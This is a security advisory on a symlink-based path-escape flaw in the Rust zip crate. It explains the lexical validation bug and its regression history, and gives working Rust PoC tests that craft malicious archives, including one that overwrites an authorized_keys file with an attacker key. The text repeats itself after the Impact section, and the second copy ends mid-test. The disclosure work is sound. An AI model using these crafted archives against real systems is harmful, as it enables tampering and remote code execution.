CVE-2026-115908

### Summary - **Verified version:** zip `9.0.0-pre3` - **Affected versions:** `7.2.0` and later - **Precondition:** The attacker knows (or can guess) the absolute path of the extraction destination The validation applied to symlinks is purely lexical. As a result, an attacker can write arbitrary files outside the extraction directory through a symlink. Exploitation requires the attacker to know (or guess) the absolute path of the destination, but this is realistic in practice: CI workspaces, `/opt/app`, a fixed Downloads path, and so on. > **Impact extends further on Windows (verified on real hardware for both the separate-drive and UNC-share cases)**: > Because `simplified_components` discards the `Prefix` component, paths like `D:\<same tail as dest>` or a UNC path `\\attacker\share\<same tail>` pass the `starts_with` check. > As a result, `outpath.push` gets replaced onto a different drive/remote share, so **a single symlink is enough — no intermediate symlink chain is required**. > That said, creating a symlink on Windows requires `SeCreateSymbolicLinkPrivilege` (administrator rights or Developer Mode enabled). > **Real-hardware verification (Windows 10 VM (19045.2604), `tests/poc_win.rs`)**: > With the extraction target set to a temporary directory under `C:`, both of the following paths returned `Ok(())` from `extract()` and successfully wrote outside the extraction target. > In both cases `extract()` returned no error (`Ok(())`), and it was confirmed that the contents of `pwned.txt` matched the attacker-specified value. ### Relationship to CVE-2025-29787 This is **not a duplicate** of the existing [CVE-2025-29787](https://github.com/zip-rs/zip2/security/advisories/GHSA-94vh-gphv-8pm8) (2025-03); rather, **the protection introduced for that CVE was subsequently lost**. #### Timeline (git history, UTC) | commit | Date | Description | | ---------- | ---------- | ---------------------------------------------------------------------------------------------------------------- | | `d4539d6b` | 2025-02-28 | Initial fix for CVE-2025-29787. Canonicalizes output paths and symlink targets and verifies they descend from the destination | | `0199ac2c` | 2025-03-15 | **Before the v2.3.0 release**, the above is replaced with a lexical check based on `simplified_components` | | `v2.3.0` | 2025-03-16 | Released as the CVE fix. **What actually shipped is the lexical check** | | `d5cf4b55` | 2026-01-18 | Changes how `simplified_components` handles absolute paths, **from rejecting them to silently stripping them** (released in `v7.2.0`) | #### Why v2.3.0 was not affected, and how the protection was lost The `safe_prepare_path` in v2.3.0 performs essentially the same lexical check as the current code. However, `simplified_components` at that time **rejected any path containing an absolute component**, so an absolute symlink target was never accepted in the first place and this attack path did not work. ```rust // v2.3.0: reject absolute paths Component::Prefix(_) | Component::RootDir => return None, // Current: ignore the fact that the path is absolute Utf8WindowsComponent::Prefix(_) | Utf8WindowsComponent::RootDir => (), ``` `d5cf4b55` was intended to make archives containing absolute path names extractable, but as a side effect **absolute symlink targets now pass the lexical check**, which silently removed the protection against CVE-2025-29787. #### Verification The following three cases were compared using the same build (`9.0.0-pre3`): | Payload / condition | Result | | -------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- | | Original PoC for CVE-2025-29787 (relative symlink `parent -> ../`) | **Blocked** with `Err(InvalidArchive("Invalid symlink target path"))` (the CVE fix itself is effective) | | PoC in this report (two-stage symlink using absolute paths) | **Succeeds** with `Ok(())`, writing outside the destination | | PoC in this report, with the `d5cf4b55` change reverted to `return None` | **Blocked** with `Err(InvalidArchive("Invalid symlink target path"))` | The first row shows that the fix for the CVE itself still works, confirming that this report is not a duplicate. The third row confirms that this vulnerability originates from the change in `d5cf4b55`. #### Differences from CVE-2025-29787 - **Stricter precondition:** This issue requires the absolute path of the destination to be known (`AC:H`). The CVE worked with a relative `../` and had no such precondition. - **Narrower API surface:** This issue affects only `ZipArchive::extract` (and `extract_unwrapped_root_dir`). `ZipStreamReader::extract` is not affected, because `external_attributes` in the local header is `0` and therefore `is_symlink()` never returns true (the CVE affected both APIs). ### Details #### Lexical validation of the path string The symlink validation in `src/read/zipfile.rs: L290-345` is lexical. **`src/read/zipfile.rs: fn safe_prepare_path` (L316-321):** ```rust if !crate::path::simplified_components(&target) .ok_or(invalid!("Invalid symlink target path"))? .starts_with( &crate::path::simplified_components(base_path) .ok_or(invalid!("Invalid base path"))?, ) ``` `simplified_components` discards the information that a path is **absolute (drive prefix / root)**, normalizes it lexically, and then merely performs a prefix comparison between the two results. It never looks at how the path actually resolves on the file system. Consequently, the classic **Zip Slip** vector using `..` is blocked, but paths that involve symlink resolution are not. **`src/path.rs: fn simplified_components` (L9~26):** ```rust /// Simplify a path by removing the prefix and parent directories and only return normal components pub(crate) fn simplified_components(input: &Path) -> Option<Vec<&OsStr>> { let mut out = Vec::new(); let input_str = input.to_str()?; for component in Utf8WindowsPath::new(input_str).components() { match component { // Skip prefix and root directory components instead of rejecting the entire path // This allows extraction of ZIP files with absolute paths, similar to other ZIP tools Utf8WindowsComponent::Prefix(_) | Utf8WindowsComponent::RootDir => (), Utf8WindowsComponent::ParentDir => { out.pop()?; } Utf8WindowsComponent::Normal(s) => out.push(OsStr::new(s)), Utf8WindowsComponent::CurDir => (), } } Some(out) } ``` #### Insufficient validation of `target` Once the path check passes, **`src/read/zipfile.rs: fn safe_prepare_path` (L345)** performs `outpath.push(target)`, but **whether any intermediate component of `target` is itself a symlink is never checked**. In addition, `make_symlink`, which is called from `extract_internal`, delegates to `make_symlink_impl` and only validates that the archive-supplied `target` is valid UTF-8. There is no check that `target` stays inside the destination, so the symlink is created as-is. **`src/read/mod.rs: fn extract_internal` (L396-406):** ```rust #[cfg(any(unix, windows))] if file.is_symlink() { let mut target = Vec::with_capacity(file.size() as usize); file.read_to_end(&mut target)?; drop(file); make_symlink(&outpath, &target, &self.shared.files)?; continue; } else if file.is_dir() { make_writable_dir_all(&outpath)?; continue; } ``` **`src/read/mod.rs: fn make_symlink_impl` (L57-90):** ```rust #[cfg(unix)] pub(crate) fn make_symlink_impl<T>( outpath: &Path, target_str: &str, _existing_files: &IndexMap<Box<[u8]>, T>, ) -> ZipResult<()> { std::os::unix::fs::symlink(Path::new(&target_str), outpath)?; Ok(()) } #[cfg(windows)] pub(crate) fn make_symlink_impl<T>( outpath: &Path, target_str: &str, existing_files: &IndexMap<Box<[u8]>, T>, ) -> ZipResult<()> { use crate::format::functions::is_dir; let target = Path::new(OsStr::new(&target_str)); let target_is_dir_from_archive = is_dir(target_str.as_bytes()) && existing_files.contains_key(target_str.as_bytes()); let target_is_dir = if target_is_dir_from_archive { true } else if let Ok(meta) = std::fs::metadata(target) { meta.is_dir() } else { false }; if target_is_dir { std::os::windows::fs::symlink_dir(target, outpath)?; } else { std::os::windows::fs::symlink_file(target, outpath)?; } Ok(()) } ``` #### Contradiction with the doc comment The documentation comment of `extract` at `src/read/mod.rs: L266-269` states the following. In reality, however, there is no validation when a symlink is created, and **`canonicalize` is not used to validate symlink targets** (`canonicalize` is used only in **`src/read/mod.rs: fn extract_internal` (L357)**, to normalize the destination directory itself). ```rust /// Extract a Zip archive into a directory, overwriting files if they /// already exist. Paths are sanitized with [`ZipFile::enclosed_name`]. Symbolic links are only /// created and followed if the target is within the destination directory (this is checked /// conservatively using [`std::fs::canonicalize`]). ``` Combining the above makes it possible to write outside the destination during extraction: | entry | kind | target | | ----------- | ------- | ------------------------------------------------------------------- | | b | symlink | `/…/outside` (created without validation) | | a | symlink | `<dest>/b/sub` (lexically under dest, so it passes the check) | | a/pwned.txt | file | - | Entries are processed in central directory order (`for i in 0..self.len()` at `src/read/mod.rs: L386`), so the order above (`b` -> `a` -> `a/pwned.txt`) is required. Extraction then proceeds as follows: 1. `b`: without any validation, the symlink `<dest>/b -> /…/outside`, **pointing outside the destination**, is created. 2. `a`: likewise without validation, `<dest>/a -> <dest>/b/sub` is created. 3. `a/pwned.txt`: when `safe_prepare_path` processes the component `a`, it sees that `<dest>/a` is a symlink and validates its target (`<dest>/b/sub`). Lexically that target is under `<dest>`, so the check passes and `outpath` becomes `<dest>/b/sub`. - At this point, **the fact that `b`, an intermediate component of the target, is a symlink pointing outside is never re-validated**. - Because `a` is not the final component, `make_writable_dir_all` is called and creates `<dest>/b/sub` (which really is `/…/outside/sub`). 4. Finally `File::create` creates `<dest>/b/sub/pwned.txt`; the kernel resolves `b` and writes to **`/…/outside/sub/pwned.txt`**. `extract()` returns `Ok(())`. ### PoC The PoC below is written as a unit test. Place it at `tests/poc_linux.rs` and run `cargo test --test poc_linux -- --nocapture` to reproduce. - `zip_slip_via_symlink`: Write a new file outside the extraction destination - `overwrite_existing_ssh_authorized_keys`: Overwrite an existing file ~/.ssh/authorized_keys outside the extraction destination `tests/poc_linux.rs` ```rust //! PoC for Linux: Write outside the extraction directory via symlink (GHSA-hjqx-j4rw-g7xv) //! //! - author: sl91994 //! //! Mechanism: The symlink target validation is lexical (prefix matching in `simplified_components`) //! By placing an outward-pointing symlink `b` as an "intermediate component in the resolved path", `b` is traversed by the OS rather than the validation loop, thus escaping outside without being verified. //! Can be reproduced with `cargo test --test poc_linux -- --nocapture` #![cfg(unix)] use std::fs; use std::io::{Cursor, Write}; use tempfile::TempDir; use zip::write::SimpleFileOptions; use zip::{ZipArchive, ZipWriter}; /// Verification of writing a new file outside the extraction destination #[test] fn zip_slip_via_symlink() { let tmp = TempDir::new().unwrap(); let dest = tmp.path().join("dest"); // Extraction destination let outside = tmp.path().join("outside"); // A location where writing should not be allowed fs::create_dir(&dest).unwrap(); fs::create_dir(&outside).unwrap(); // Construct a malicious ZIP let mut zip = ZipWriter::new(Cursor::new(Vec::new())); let opt = SimpleFileOptions::default(); // b: Symlink pointing outside (target is created unverified) zip.add_symlink("b", outside.to_str().unwrap(), opt).unwrap(); // a: Symlink whose target starts under dest (passes lexical validation) zip.add_symlink("a", dest.join("b/sub").to_str().unwrap(), opt).unwrap(); // a/pwned.txt: File that escapes outside dest by traversing the intermediate b zip.start_file("a/pwned.txt", opt).unwrap(); zip.write_all(b"escaped!").unwrap(); let archive = zip.finish_into_readable().unwrap(); ZipArchive::from(archive).extract(&dest).unwrap(); // Verification: File has been written outside dest let escaped = outside.join("sub/pwned.txt"); assert!(escaped.exists(), "escape failed"); assert_eq!(fs::read_to_string(&escaped).unwrap(), "escaped!"); println!("wrote outside dest: {}", escaped.display()); } /// Verification of overwriting an existing file (~/.ssh/authorized_keys) outside the extraction destination #[test] fn overwrite_existing_ssh_authorized_keys() { let tmp = TempDir::new().unwrap(); let dest = tmp.path().join("dest"); // Extraction destination // Reproduce victim's existing ~/.ssh/authorized_keys (containing a legitimate key) let home = tmp.path().join("home_victim"); let ssh = home.join(".ssh"); fs::create_dir_all(&ssh).unwrap(); let authorized_keys = ssh.join("authorized_keys"); fs::write(&authorized_keys, "ssh-ed25519 AAAA...LEGIT victim@host\n").unwrap(); let original = fs::read_to_string(&authorized_keys).unwrap(); fs::create_dir(&dest).unwrap(); // Construct a malicious ZIP let mut zip = ZipWriter::new(Cursor::new(Vec::new())); let opt = SimpleFileOptions::default(); // b: Outward-pointing symlink to victim's HOME (target unverified) // Because it's placed in the middle rather than at the end, the OS traverses it transparently, bypassing validation zip.add_symlink("b", home.to_str().unwrap(), opt).unwrap(); // a: Symlink pointing to <dest>/b/.ssh (passes validation because it is lexically under dest) zip.add_symlink("a", dest.join("b/.ssh").to_str().unwrap(), opt).unwrap(); // a/authorized_keys: File entry that reaches the actual authorized_keys zip.start_file("a/authorized_keys", opt).unwrap(); zip.write_all(b"ssh-ed25519 AAAA...ATTACKER attacker@evil\n").unwrap(); let archive = zip.finish_into_readable().unwrap(); // extract() returns Ok(()) without an error (the caller cannot detect it) let res = ZipArchive::from(archive).extract(&dest); println!("extract() returned: {:?}", res); res.unwrap(); // Verification: Existing file is overwritten with the attacker's content let after = fs::read_to_string(&authorized_keys).unwrap(); println!("--- BEFORE ---\n{original}--- AFTER ---\n{after}"); assert_ne!(after, original, "file was NOT overwritten"); assert!(after.contains("ATTACKER"), "attacker content not present"); println!("OVERWROTE existing file: {}", authorized_keys.display()); } ``` #### Windows PoC (`tests/poc_win.rs`) This is a test that verifies **escape to a different drive / UNC share via a single symlink**, specific to Windows. By setting the extraction destination to a temporary directory on `C:` and making the symlink target **an absolute path on a different volume that shares the same tail as dest**, it passes the lexical check in `simplified_components` (which discards the `Prefix`), and the drive/share substitution performed by `outpath.push` results in a write outside of `dest`. - `escape_via_second_drive`: writes to `E:\<same tail as dest>\evil\pwned.txt` on a separate drive (e.g. `E:`) - `escape_via_unc_share`: writes to `\\localhost\poc\<same tail as dest>\evil\pwned.txt` on a UNC share (e.g. `\\localhost\poc\`) ```rust //! Windows PoC: writing to a separate drive / UNC share via a single symlink (GHSA-hjqx-j4rw-g7xv) //! //! - author: sl91994 //! //! The crafted ZIP contains only 2 entries: //! 1. `a` : a symlink whose target = `<OTHER>\<same tail as dest>\evil` (absolute path) //! 2. `a/pwned.txt`: a regular file //! During extraction, resolving `a` causes outpath to be replaced with `<OTHER>\...\evil`, //! and `File::create(<OTHER>\...\evil\pwned.txt)` writes outside of dest. //! //! # Prerequisites //! - Windows 10 (build 14972+) through Windows 11 //! - Symlink creation privilege `SeCreateSymbolicLinkPrivilege` = Developer Mode enabled, or run as Administrator. //! - One volume / share **separate from dest**. //! Supply the escape destination via environment variables: //! * `POC_OTHER_DRIVE`: root of a separate drive. Must end with `\`. e.g. `D:\` //! * `POC_UNC_SHARE`: root of a writable UNC share. Must end with `\`. //! e.g. `\\localhost\poc\` //! (`net share poc=C:\path\to\share /grant:%USERNAME%,FULL`) //! //! # Running //! //! ```powershell //! $env:POC_OTHER_DRIVE = "D:\" //! $env:POC_UNC_SHARE = "\\localhost\poc\" //! cargo test --test poc_win -- --nocapture //! ``` #![cfg(windows)] use std::ffi::OsString; use std::fs; use std::io::{Cursor, Write}; use std::path::{Component, Path, PathBuf}; use tempfile::TempDir; use zip::write::SimpleFileOptions; use zip::{ZipArchive, ZipWriter}; /// Whether we have the privilege needed to create symlinks fn have_symlink_privilege() -> bool { let Ok(tmp) = TempDir::new() else { return false; }; let target = tmp.path().join("privcheck_target"); let link = tmp.path().join("privcheck_link"); if fs::write(&target, b"x").is_err() { return false; } std::os::windows::fs::symlink_file(&target, &link).is_ok() } /// Extract only the Normal components of a path (the tail, with prefix / root dropped) fn normal_tail(p: &Path) -> Vec<OsString> { p.components() .filter_map(|c| match c { Component::Normal(s) => Some(s.to_os_string()), _ => None, }) .collect() } /// Returns the `Prefix` (volume identifier) at the head of the path fn volume_prefix(p: &Path) -> Option<OsString> { match p.components().next() { Some(Component::Prefix(pre)) => Some(pre.as_os_str().to_os_string()), _ => None, } } /// Verifies the single-symlink escape using the escape destination root `other_root` (a separate volume / share) fn run_escape(variant: &str, other_root: &str) { if !have_symlink_privilege() { eprintln!( "[SKIP] [{variant}] missing SeCreateSymbolicLinkPrivilege; \ enable Developer Mode or run as Administrator." ); return; } // other_root must be an existing, writable root let other_root_path = PathBuf::from(other_root); if !fs::metadata(&other_root_path) .map(|m| m.is_dir()) .unwrap_or(false) { eprintln!( "[SKIP] [{variant}] escape root {other_root:?} does not exist or is not a \ directory; check the environment variable." ); return; } // The extraction destination `dest` is a temp directory (usually on C:). Since the `base` used by // safe_prepare_path is the path after canonicalize, match the tail to that. let tmp = TempDir::new().unwrap(); let dest = tmp.path().join("dest"); fs::create_dir(&dest).unwrap(); let canon_dest = fs::canonicalize(&dest).unwrap(); let tail = normal_tail(&canon_dest); // Reproduce dest's tail on a separate volume as the escape destination, with evil/ underneath it. // Since simplified_components discards the prefix, the target's tail component sequence // prefix-matches the base's tail component sequence, passing the lexical check. let mut escape_dir = other_root_path.clone(); for c in &tail { escape_dir.push(c); } escape_dir.push("evil"); // Confirm it's actually a separate volume (if it's the same volume, it would land inside dest and not be an escape) let other_vol = fs::canonicalize(&other_root_path) .ok() .and_then(|p| volume_prefix(&p)); let dest_vol = volume_prefix(&canon_dest); assert_ne!( other_vol, dest_vol, "[{variant}] escape root {other_root:?} is on the same volume as dest; \ point it at a different drive/share (dest vol={dest_vol:?})." ); // Assemble the crafted ZIP (entries: 1 symlink + 1 file) let target_str = escape_dir .to_str() .expect("escape path must be valid UTF-8") .to_string(); println!("[{variant}] dest (canonical) = {}", canon_dest.display()); println!("[{variant}] symlink target = {target_str}"); let mut zip = ZipWriter::new(Cursor::new(Vec::new())); let opt = SimpleFileOptions::default(); // a: an absolute symlink pointing to the separate drive/share (passes the lexical check via matching tail) zip.add_symlink("a", &target_str, opt).unwrap(); // a/pwned.txt: resolving `a` substitutes the drive in outpath, causing the write to land outside dest zip.start_file("a/pwned.txt", opt).unwrap(); zip.write_all(b"escaped-on-windows!").unwrap(); let archive = zip.finish_into_readable().unwrap(); let res = ZipArchive::from(archive).extract(&dest); println!("[{variant}] extract() returned: {res:?}"); res.expect("extract() failed"); let escaped = escape_dir.join("pwned.txt"); assert!( escaped.exists(), "[{variant}] escape failed: {} was not created", escaped.display() ); let content = fs::read_to_string(&escaped).unwrap(); println!( "[{variant}] WROTE OUTSIDE DEST: {} = {content:?}", escaped.display() ); let _ = fs::remove_file(&escaped); let _ = fs::remove_dir(&escape_dir); assert_eq!( content, "escaped-on-windows!", "[{variant}] written content mismatch", ); } /// Single-symlink escape to a separate drive (`POC_OTHER_DRIVE`, e.g. `D:\`) #[test] fn escape_via_second_drive() { match std::env::var("POC_OTHER_DRIVE") { Ok(root) if !root.is_empty() => run_escape("drive", &root), _ => eprintln!( "[SKIP] escape_via_second_drive: POC_OTHER_DRIVE not set \ (PowerShell: `$env:POC_OTHER_DRIVE=\"D:\\\"`)." ), } } /// Single-symlink escape to a UNC share (`POC_UNC_SHARE`, e.g. `\\localhost\poc\`) #[test] fn escape_via_unc_share() { match std::env::var("POC_UNC_SHARE") { Ok(root) if !root.is_empty() => run_escape("unc", &root), _ => eprintln!( "[SKIP] escape_via_unc_share: POC_UNC_SHARE not set \ (PowerShell: `$env:POC_UNC_SHARE=\"\\\\localhost\\poc\\\"`)." ), } } ``` ### Impact With the privileges of the process that extracts an untrusted ZIP archive via `ZipArchive::extract` / `ZipArchive::extract_unwrapped_root_dir`, an attacker can **write a file with arbitrary contents to an arbitrary path outside the extraction directory**. - Because existing files can be overwritten, tampering with files such as `~/.ssh/authorized_keys`, `~/.bashrc`, `.git/hooks/*`, CI configuration, or a service's binaries and configuration files **may lead to remote code execution or privilege escalation**. Destroying critical files can also cause denial of service. - Extraction **does not fail and returns `Ok(())`**, so the caller has no straightforward way to detect the attack. - The documentation of `extract()` explicitly states that **symbolic links are only created and followed if the target is within the destination directory**, so downstream applications that rely on this as a sandbox boundary are directly affected. Exploitation requires the absolute path of the destination to be known, but this is realistic in practice: CI workspaces, `/opt/<app>`, a fixed Downloads directory, and so on.

### Summary - **Verified version:** zip `9.0.0-pre3` - **Affected versions:** `7.2.0` and later - **Precondition:** The attacker knows (or can guess) the absolute path of the extraction destination The validation applied to symlinks is purely lexical. As a result, an attacker can write arbitrary files outside the extraction directory through a symlink. Exploitation requires the attacker to know (or guess) the absolute path of the destination, but this is realistic in practice: CI workspaces, `/opt/app`, a fixed Downloads path, and so on. > **Impact extends further on Windows (verified on real hardware for both the separate-drive and UNC-share cases)**: > Because `simplified_components` discards the `Prefix` component, paths like `D:\<same tail as dest>` or a UNC path `\\attacker\share\<same tail>` pass the `starts_with` check. > As a result, `outpath.push` gets replaced onto a different drive/remote share, so **a single symlink is enough — no intermediate symlink chain is required**. > That said, creating a symlink on Windows requires `SeCreateSymbolicLinkPrivilege` (administrator rights or Developer Mode enabled). > **Real-hardware verification (Windows 10 VM (19045.2604), `tests/poc_win.rs`)**: > With the extraction target set to a temporary directory under `C:`, both of the following paths returned `Ok(())` from `extract()` and successfully wrote outside the extraction target. > In both cases `extract()` returned no error (`Ok(())`), and it was confirmed that the contents of `pwned.txt` matched the attacker-specified value. ### Relationship to CVE-2025-29787 This is **not a duplicate** of the existing [CVE-2025-29787](https://github.com/zip-rs/zip2/security/advisories/GHSA-94vh-gphv-8pm8) (2025-03); rather, **the protection introduced for that CVE was subsequently lost**. #### Timeline (git history, UTC) | commit | Date | Description | | ---------- | ---------- | ---------------------------------------------------------------------------------------------------------------- | | `d4539d6b` | 2025-02-28 | Initial fix for CVE-2025-29787. Canonicalizes output paths and symlink targets and verifies they descend from the destination | | `0199ac2c` | 2025-03-15 | **Before the v2.3.0 release**, the above is replaced with a lexical check based on `simplified_components` | | `v2.3.0` | 2025-03-16 | Released as the CVE fix. **What actually shipped is the lexical check** | | `d5cf4b55` | 2026-01-18 | Changes how `simplified_components` handles absolute paths, **from rejecting them to silently stripping them** (released in `v7.2.0`) | #### Why v2.3.0 was not affected, and how the protection was lost The `safe_prepare_path` in v2.3.0 performs essentially the same lexical check as the current code. However, `simplified_components` at that time **rejected any path containing an absolute component**, so an absolute symlink target was never accepted in the first place and this attack path did not work. ```rust // v2.3.0: reject absolute paths Component::Prefix(_) | Component::RootDir => return None, // Current: ignore the fact that the path is absolute Utf8WindowsComponent::Prefix(_) | Utf8WindowsComponent::RootDir => (), ``` `d5cf4b55` was intended to make archives containing absolute path names extractable, but as a side effect **absolute symlink targets now pass the lexical check**, which silently removed the protection against CVE-2025-29787. #### Verification The following three cases were compared using the same build (`9.0.0-pre3`): | Payload / condition | Result | | -------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- | | Original PoC for CVE-2025-29787 (relative symlink `parent -> ../`) | **Blocked** with `Err(InvalidArchive("Invalid symlink target path"))` (the CVE fix itself is effective) | | PoC in this report (two-stage symlink using absolute paths) | **Succeeds** with `Ok(())`, writing outside the destination | | PoC in this report, with the `d5cf4b55` change reverted to `return None` | **Blocked** with `Err(InvalidArchive("Invalid symlink target path"))` | The first row shows that the fix for the CVE itself still works, confirming that this report is not a duplicate. The third row confirms that this vulnerability originates from the change in `d5cf4b55`. #### Differences from CVE-2025-29787 - **Stricter precondition:** This issue requires the absolute path of the destination to be known (`AC:H`). The CVE worked with a relative `../` and had no such precondition. - **Narrower API surface:** This issue affects only `ZipArchive::extract` (and `extract_unwrapped_root_dir`). `ZipStreamReader::extract` is not affected, because `external_attributes` in the local header is `0` and therefore `is_symlink()` never returns true (the CVE affected both APIs). ### Details #### Lexical validation of the path string The symlink validation in `src/read/zipfile.rs: L290-345` is lexical. **`src/read/zipfile.rs: fn safe_prepare_path` (L316-321):** ```rust if !crate::path::simplified_components(&target) .ok_or(invalid!("Invalid symlink target path"))? .starts_with( &crate::path::simplified_components(base_path) .ok_or(invalid!("Invalid base path"))?, ) ``` `simplified_components` discards the information that a path is **absolute (drive prefix / root)**, normalizes it lexically, and then merely performs a prefix comparison between the two results. It never looks at how the path actually resolves on the file system. Consequently, the classic **Zip Slip** vector using `..` is blocked, but paths that involve symlink resolution are not. **`src/path.rs: fn simplified_components` (L9~26):** ```rust /// Simplify a path by removing the prefix and parent directories and only return normal components pub(crate) fn simplified_components(input: &Path) -> Option<Vec<&OsStr>> { let mut out = Vec::new(); let input_str = input.to_str()?; for component in Utf8WindowsPath::new(input_str).components() { match component { // Skip prefix and root directory components instead of rejecting the entire path // This allows extraction of ZIP files with absolute paths, similar to other ZIP tools Utf8WindowsComponent::Prefix(_) | Utf8WindowsComponent::RootDir => (), Utf8WindowsComponent::ParentDir => { out.pop()?; } Utf8WindowsComponent::Normal(s) => out.push(OsStr::new(s)), Utf8WindowsComponent::CurDir => (), } } Some(out) } ``` #### Insufficient validation of `target` Once the path check passes, **`src/read/zipfile.rs: fn safe_prepare_path` (L345)** performs `outpath.push(target)`, but **whether any intermediate component of `target` is itself a symlink is never checked**. In addition, `make_symlink`, which is called from `extract_internal`, delegates to `make_symlink_impl` and only validates that the archive-supplied `target` is valid UTF-8. There is no check that `target` stays inside the destination, so the symlink is created as-is. **`src/read/mod.rs: fn extract_internal` (L396-406):** ```rust #[cfg(any(unix, windows))] if file.is_symlink() { let mut target = Vec::with_capacity(file.size() as usize); file.read_to_end(&mut target)?; drop(file); make_symlink(&outpath, &target, &self.shared.files)?; continue; } else if file.is_dir() { make_writable_dir_all(&outpath)?; continue; } ``` **`src/read/mod.rs: fn make_symlink_impl` (L57-90):** ```rust #[cfg(unix)] pub(crate) fn make_symlink_impl<T>( outpath: &Path, target_str: &str, _existing_files: &IndexMap<Box<[u8]>, T>, ) -> ZipResult<()> { std::os::unix::fs::symlink(Path::new(&target_str), outpath)?; Ok(()) } #[cfg(windows)] pub(crate) fn make_symlink_impl<T>( outpath: &Path, target_str: &str, existing_files: &IndexMap<Box<[u8]>, T>, ) -> ZipResult<()> { use crate::format::functions::is_dir; let target = Path::new(OsStr::new(&target_str)); let target_is_dir_from_archive = is_dir(target_str.as_bytes()) && existing_files.contains_key(target_str.as_bytes()); let target_is_dir = if target_is_dir_from_archive { true } else if let Ok(meta) = std::fs::metadata(target) { meta.is_dir() } else { false }; if target_is_dir { std::os::windows::fs::symlink_dir(target, outpath)?; } else { std::os::windows::fs::symlink_file(target, outpath)?; } Ok(()) } ``` #### Contradiction with the doc comment The documentation comment of `extract` at `src/read/mod.rs: L266-269` states the following. In reality, however, there is no validation when a symlink is created, and **`canonicalize` is not used to validate symlink targets** (`canonicalize` is used only in **`src/read/mod.rs: fn extract_internal` (L357)**, to normalize the destination directory itself). ```rust /// Extract a Zip archive into a directory, overwriting files if they /// already exist. Paths are sanitized with [`ZipFile::enclosed_name`]. Symbolic links are only /// created and followed if the target is within the destination directory (this is checked /// conservatively using [`std::fs::canonicalize`]). ``` Combining the above makes it possible to write outside the destination during extraction: | entry | kind | target | | ----------- | ------- | ------------------------------------------------------------------- | | b | symlink | `/…/outside` (created without validation) | | a | symlink | `<dest>/b/sub` (lexically under dest, so it passes the check) | | a/pwned.txt | file | - | Entries are processed in central directory order (`for i in 0..self.len()` at `src/read/mod.rs: L386`), so the order above (`b` -> `a` -> `a/pwned.txt`) is required. Extraction then proceeds as follows: 1. `b`: without any validation, the symlink `<dest>/b -> /…/outside`, **pointing outside the destination**, is created. 2. `a`: likewise without validation, `<dest>/a -> <dest>/b/sub` is created. 3. `a/pwned.txt`: when `safe_prepare_path` processes the component `a`, it sees that `<dest>/a` is a symlink and validates its target (`<dest>/b/sub`). Lexically that target is under `<dest>`, so the check passes and `outpath` becomes `<dest>/b/sub`. - At this point, **the fact that `b`, an intermediate component of the target, is a symlink pointing outside is never re-validated**. - Because `a` is not the final component, `make_writable_dir_all` is called and creates `<dest>/b/sub` (which really is `/…/outside/sub`). 4. Finally `File::create` creates `<dest>/b/sub/pwned.txt`; the kernel resolves `b` and writes to **`/…/outside/sub/pwned.txt`**. `extract()` returns `Ok(())`. ### PoC The PoC below is written as a unit test. Place it at `tests/poc_linux.rs` and run `cargo test --test poc_linux -- --nocapture` to reproduce. - `zip_slip_via_symlink`: Write a new file outside the extraction destination - `overwrite_existing_ssh_authorized_keys`: Overwrite an existing file ~/.ssh/authorized_keys outside the extraction destination `tests/poc_linux.rs` ```rust //! PoC for Linux: Write outside the extraction directory via symlink (GHSA-hjqx-j4rw-g7xv) //! //! - author: sl91994 //! //! Mechanism: The symlink target validation is lexical (prefix matching in `simplified_components`) //! By placing an outward-pointing symlink `b` as an "intermediate component in the resolved path", `b` is traversed by the OS rather than the validation loop, thus escaping outside without being verified. //! Can be reproduced with `cargo test --test poc_linux -- --nocapture` #![cfg(unix)] use std::fs; use std::io::{Cursor, Write}; use tempfile::TempDir; use zip::write::SimpleFileOptions; use zip::{ZipArchive, ZipWriter}; /// Verification of writing a new file outside the extraction destination #[test] fn zip_slip_via_symlink() { let tmp = TempDir::new().unwrap(); let dest = tmp.path().join("dest"); // Extraction destination let outside = tmp.path().join("outside"); // A location where writing should not be allowed fs::create_dir(&dest).unwrap(); fs::create_dir(&outside).unwrap(); // Construct a malicious ZIP let mut zip = ZipWriter::new(Cursor::new(Vec::new())); let opt = SimpleFileOptions::default(); // b: Symlink pointing outside (target is created unverified) zip.add_symlink("b", outside.to_str().unwrap(), opt).unwrap(); // a: Symlink whose target starts under dest (passes lexical validation) zip.add_symlink("a", dest.join("b/sub").to_str().unwrap(), opt).unwrap(); // a/pwned.txt: File that escapes outside dest by traversing the intermediate b zip.start_file("a/pwned.txt", opt).unwrap(); zip.write_all(b"escaped!").unwrap(); let archive = zip.finish_into_readable().unwrap(); ZipArchive::from(archive).extract(&dest).unwrap(); // Verification: File has been written outside dest let escaped = outside.join("sub/pwned.txt"); assert!(escaped.exists(), "escape failed"); assert_eq!(fs::read_to_string(&escaped).unwrap(), "escaped!"); println!("wrote outside dest: {}", escaped.display()); } /// Verification of overwriting an existing file (~/.ssh/authorized_keys) outside the extraction destination #[test] fn overwrite_existing_ssh_authorized_keys() { let tmp = TempDir::new().unwrap(); let dest = tmp.path().join("dest"); // Extraction destination // Reproduce victim's existing ~/.ssh/authorized_keys (containing a legitimate key) let home = tmp.path().join("home_victim"); let ssh = home.join(".ssh"); fs::create_dir_all(&ssh).unwrap(); let authorized_keys = ssh.join("authorized_keys"); fs::write(&authorized_keys, "ssh-ed25519 AAAA...LEGIT victim@host\n").unwrap(); let original = fs::read_to_string(&authorized_keys).unwrap(); fs::create_dir(&dest).unwrap(); // Construct a malicious ZIP let mut zip = ZipWriter::new(Cursor::new(Vec::new())); let opt = SimpleFileOptions::default(); // b: Outward-pointing symlink to victim's HOME (target unverified) // Because it's placed in the middle rather than at the end, the OS traverses it transparently, bypassing validation zip.add_symlink("b", home.to_str().unwrap(), opt).unwrap(); // a: Symlink pointing to <dest>/b/.ssh (passes validation because it is lexically under dest) zip.add_symlink("a", dest.join("b/.ssh").to_str().unwrap(), opt).unwrap(); // a/authorized_keys: File entry that reaches the actual authorized_keys zip.start_file("a/authorized_keys", opt).unwrap(); zip.write_all(b"ssh-ed25519 AAAA...ATTACKER attacker@evil\n").unwrap(); let archive = zip.finish_into_readable().unwrap(); // extract() returns Ok(()) without an error (the caller cannot detect it) let res = ZipArchive::from(archive).extract(&dest); println!("extract() returned: {:?}", res); res.unwrap(); // Verification: Existing file is overwritten with the attacker's content let after = fs::read_to_string(&authorized_keys).unwrap(); println!("--- BEFORE ---\n{original}--- AFTER ---\n{after}"); assert_ne!(after, original, "file was NOT overwritten"); 